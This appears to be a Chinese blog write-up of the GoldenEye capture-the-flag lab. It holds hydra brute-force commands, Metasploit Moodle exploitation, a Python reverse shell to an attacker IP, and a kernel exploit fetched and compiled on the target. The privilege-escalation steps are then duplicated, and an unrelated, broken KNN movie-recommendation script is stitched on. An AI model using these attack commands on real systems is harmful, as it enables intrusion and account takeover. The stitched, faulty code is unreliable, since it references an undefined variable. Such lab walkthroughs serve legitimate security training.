项目一_GoldenEye

0X01 信息收集

首先进行主机探测,发现主机192.168.0.15,且开放25、80端口。

image-20220814234556325

然后我们来访问一下80端口,发现线索:让我们进入到/sev-home/目录里进行登录。

image-20220814235002102

然后我们访问后要求我们输入账号和密码,接下来就到了寻找密码的时刻了。

image-20220814235036577

我们回到主页,查看页面源代码,发现一处js文件,terminal.js。

image-20220814235201219

访问看一下,留意到其中的注释语句。

image-20220814235257428

丢到百度翻译里进行翻译看看,看到其中出现了经过编码后的密码密文,以及提到了说Natalya可以破解该密文。

image-20220814235338026

获得用户名:Boris、Natalya
获得密码密文:InvincibleHack3r

然后把密码密文丢到burpsuite里进行decode as html,成功获取明文密码。

image-20220815000425074

此时已经获得的账号和密码:
账号:Boris、Natalya
密码:InvincibleHack3r

然后我们输入账号(boris)密码(InvincibleHack3r)成功登录跳转网站。

image-20220815000618740

留意到右边的字,翻译一下,得到提示“我们已将 pop3 服务配置为在非常高的非默认端口上运行”,意味着我们要进行全端口的扫描。

image-20220815000714844

扫描后发现多了两个端口,555006和55007,并查看版本信息。

image-20220815001217210

接下来尝试利用爆破登录邮件服务。

echo -e 'natalya\nboris' > user.txt    --将两个用户名写入txt文件
hydra -L user.txt -P /usr/share/wordlists/fasttrack.txt 192.168.0.15 -s 55007 pop3

成功得到邮箱的账号密码。

账号/密码:
boris/secret1!
natalya/bird

image-20220815002715285

然后通过NC登录pop3查看邮件信封内容枚举:

nc 192.168.0.15 55007      ---登录邮箱
user boris                 ---登录用户
pass secret1!              ---登录密码
list                       ---查看邮件数量
retr 1~3                   ---查看邮件内容

首先登录的是boris的邮箱账户,里面包含了三封邮件。

image-20220815121020691

我们留意到第二封邮件是由natalya发来的,且内容为“Boris,我能破解你的密码”。第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此处阅读附件。

image-20220815121119156

登录natalya的邮箱查看邮件内容

nc 192.168.0.15 55007     ---登录邮箱
user natalya               ---登录用户
pass bird                  ---登录密码
list                       ---查看邮件数量
retr 1~2                   ---查看邮件内容

两封邮件:第一封邮件:

娜塔莉亚,请你停止破解鲍里斯的密码。 此外,您是 GNO 培训主管。一旦学生被指定给你,我就会给你发电子邮件。此外,请注意可能的网络漏洞。我们获悉,一个名为 Janus 的犯罪集团正在追捕 GoldenEye。

image-20220815122106311

第二封邮件:

好的 Natalyn 我有一个新学生给你。 由于这是一个新系统,如果您看到任何配置问题,请告诉我或鲍里斯,尤其是它与安全有关的问题……即使不是,也只需以“安全”为幌子下输入它……它将使变更单升级,而不会带来太多麻烦:)
好的,用户信用是:
用户名:xenia
密码:RCP90rulez!
鲍里斯验证了她是一个有效的承包商,所以只需创建帐户,好吗?
如果您没有外部内部域的 URL:severnaya-station.com/gnocertdir
**请务必编辑您的主机文件,因为您通常在远程离线工作....
由于您是 Linux 用户,因此只需将此服务器 IP 指向 /etc/hosts 中的 severnaya-station.com。

image-20220815123348881

在第二封邮件看到了另外一个用户名密码,此服务器域名和网站,还要求我们在本地服务hosts中添加域名信息

用户名:xenia
密码:RCP90rulez!
域:severnaya-station.com
网址:severnaya-station.com/gnocertdir

在host文件中添加域名,并访问severnaya-station.com/gnocertdir。

image-20220815125842757

image-20220815130028674

一访问就可以直接看到是使用了moodle这个cms来建站。随意点击,发现跳转到登录页面。

image-20220815130203153

利用刚刚在邮件中获取到的账号密码进行登录就可以成功登录。

image-20220815130422855

在点击后台的过程中发现该CMS的版本为2.2.3。

image-20220815131208122

在Messages模块当中发现一封邮件,出现新的名字“Dr Doak”,将其写人到user.txt文件中。

image-20220815131902158

继续爆破用户名doak的邮箱登录密码。

hydra -l doak -P /usr/share/wordlists/fasttrack.txt 192.168.0.15 -s 55007 pop3

image-20220815135014952

获取用户名/密码:diak/goat

登录doak用户查看邮件内容

nc 192.168.0.15 55007      ---登录邮箱
user doak                  ---登录用户
pass goat                  ---登录密码
list                       ---查看邮件数量
retr 1                     ---查看邮件内容

image-20220816200652070

image-20220816200807823

此时得到了新的账户信息,用户名:dr_doak,密码:4England!

成功登录之后发现右边多了一个模块,且有一个文件名为s3cret.txt。

image-20220816201409496

查看文件里的内容,提示到“这里有一些有趣的东西:/dir007key/for-007.jpg”

image-20220816202151947

访问看到是一张图片,把他保存到本地先。

wget http://severnaya-station.com/dir007key/for-007.jpg

根据邮件提示让我们检查图片内容,下载图片后,我们可以使用:

binwalk(路由逆向分析工具)
exiftool(图虫)
strings(识别动态库版本指令)
等查看jpg文件底层内容!

image-20220816203223217

image-20220816203322955

image-20220816203450906

在执行exiftool、strings命令时可以看到base64编码的隐藏信息:

eFdpbnRlcjE5OTV4IQ==

使用解密工具进行base64解密得到明文:

xWinter1995x!

image-20220816203711417

线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。

用户名:admin
密码:xWinter1995x!

image-20220816204037812

0X02 GetShell

方法一:

因为该CMS的版本为2.2.3,通过在网上搜索发现可以利用CVE-2013-3630漏洞进行RCE攻击,这里我们直接利用MSF。

msfconsole
search moodle
use 0
set username admin
set password xWinter1995x!
set rhost severnaya-station.com
set targeturi /gnocertdir
set payload cmd/unix/reverse
set lhost 192.168.0.109
run

use exploit/multi/http/moodle_cmd_exec
msf exploit(moodle_cmd_exec) > set rhost severnaya-station.com
msf exploit(moodle_cmd_exec) > set targeturi /gnocertdir
msf exploit(moodle_cmd_exec) > set username admin
msf exploit(moodle_cmd_exec) > set password xWinter1995x!

image-20220816234036957

image-20220816234337088

执行之后发现无法成功。

image-20220816234613963

查阅资料后知道MSF的底层代码使用的是pspellshell。这里的网页使用的是Googleshell,导致没有办法去运行。

进后台对其进行修改 Home /► Site administration / ►Plugins / ► Text editors / ►TinyMCE HTML editor

image-20220816233245491

再次运行,成功!

image-20220816234800199

image-20220816235100536

然后将shell进行tty

python -c 'import pty; pty.spawn("/bin/bash")'

image-20220816235838245

方法二:

用修改编辑器中拼写检查配置变量进行反弹shell

Settings/ ► Site administration / ► Server / ► System paths / ►Path to aspell

image-20220817000131674

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.0.109",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

同时监听本地6666端口:

image-20220817000520892

然后前往Home / ► My profile / ► Blogs / ► Add a new entry进行触发

image-20220817000754692

成功反弹!

image-20220817001637955

0X03 内核提权

首先查看一下系统信息:

uname -a

image-20220817002137860

内核版本Linux ubuntu 3.13.0-32,然后进搜索谷歌搜索:Linux ubuntu 3.13.0-32 exploit。获得exp版本:37292

image-20220817002343394

搜索kali本地的exp库中37292攻击脚本信息,并复制出来。

searchsploit 37292
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/桌面/

由于目标主机环境没有gcc环境,但有cc环境。

image-20220817003237260

需要对脚本进行修改:

image-20220817003412948

这时我们的kali主机开启HTTP服务让目标主机下载该脚本:

python -m http.server 8081

image-20220817003849284

目标主机访问kali的8081端口并下载脚本:

wget http://192.168.0.109:8081/37292.c

image-20220817004110103

编译脚本:

cc 37292.c -o 37292

image-20220817004236680

直接运行脚本,成功提权!

image-20220817004329150

最后成功获取flag:

python -m http.server 8081

[外链图片转存中…(img-Zw776EJ3-1661947579249)]

目标主机访问kali的8081端口并下载脚本:

wget http://192.168.0.109:8081/37292.c

[外链图片转存中…(img-6zyV4Qca-1661947579250)]

编译脚本:

cc 37292.c -o 37292

[外链图片转存中…(img-vEoTzefn-1661947579250)]

直接运行脚本,成功提权!

[外链图片转存中…(img-6w9zaqjT-1661947579250)]

最后成功获取flag:

image-20220817004536753

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
好的,针对您的问题,我可以提供一个KNN算法模型来实现电影推荐功能。下面是代码实现和解释: 首先,我们需要准备好电影评分数据集,这里我们使用MovieLens数据集中的评分数据集。然后,我们还需要准备一个新用户的电影评分数据,用于为其推荐电影。 ```python import pandas as pd # 读取评分数据集 ratings_data = pd.read_csv('ratings.csv') # 构建评分矩阵 ratings_matrix = ratings_data.pivot_table(index='userId', columns='movieId', values='rating') # 新用户的电影评分 new_user_ratings = { 1: 5.0, # Toy Story 2: 4.0, # Jumanji 3: 2.0, # Grumpier Old Men 4: 3.0, # Waiting to Exhale 5: 5.0, # Father of the Bride Part II 6: 3.0, # Heat 7: 4.0, # Sabrina 8: 5.0, # Tom and Huck 9: 3.0, # Sudden Death 10: 2.0, # GoldenEye } ``` 接下来,我们可以使用sklearn中的KNeighborsRegressor来建立KNN模型。这里我们使用余弦相似度作为距离度量,选取K=10。然后,我们可以使用模型对新用户进行电影推荐: ```python from sklearn.neighbors import KNeighborsRegressor from sklearn.metrics.pairwise import cosine_similarity import numpy as np # 计算余弦相似度 similarity_matrix = cosine_similarity(ratings_matrix) # 将新用户的评分数据转换为特征向量 new_user_vector = np.zeros((1, ratings_matrix.shape[1])) for movie_id, rating in new_user_ratings.items(): new_user_vector[0, movie_id - 1] = rating # 使用KNN模型进行电影推荐 knn = KNeighborsRegressor(n_neighbors=10, metric='cosine') knn.fit(ratings_matrix, np.arange(ratings_matrix.shape[0])) neighbor_indices = knn.kneighbors(new_user_vector, return_distance=False)[0] # 根据相似度对电影进行加权平均 recommendations = [] for movie_id in range(1, ratings_matrix.shape[1] + 1): if new_user_vector[0, movie_id - 1] == 0: rating_sum = 0 weight_sum = 0 for neighbor_index in neighbor_indices: rating = ratings_matrix.iloc[neighbor_index, movie_id - 1] similarity = similarity_matrix[new_user_index, neighbor_index] rating_sum += rating * similarity weight_sum += similarity if weight_sum > 0: rating_mean = rating_sum / weight_sum recommendations.append((movie_id, rating_mean)) # 根据评分排序,推荐Top-N电影 recommendations = sorted(recommendations, key=lambda x: x[1], reverse=True) top_n = 5 recommended_movies = [] for movie_id, rating in recommendations[:top_n]: recommended_movies.append(movie_id) ``` 根据上述代码,我们可以得到推荐给新用户的Top-5电影。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值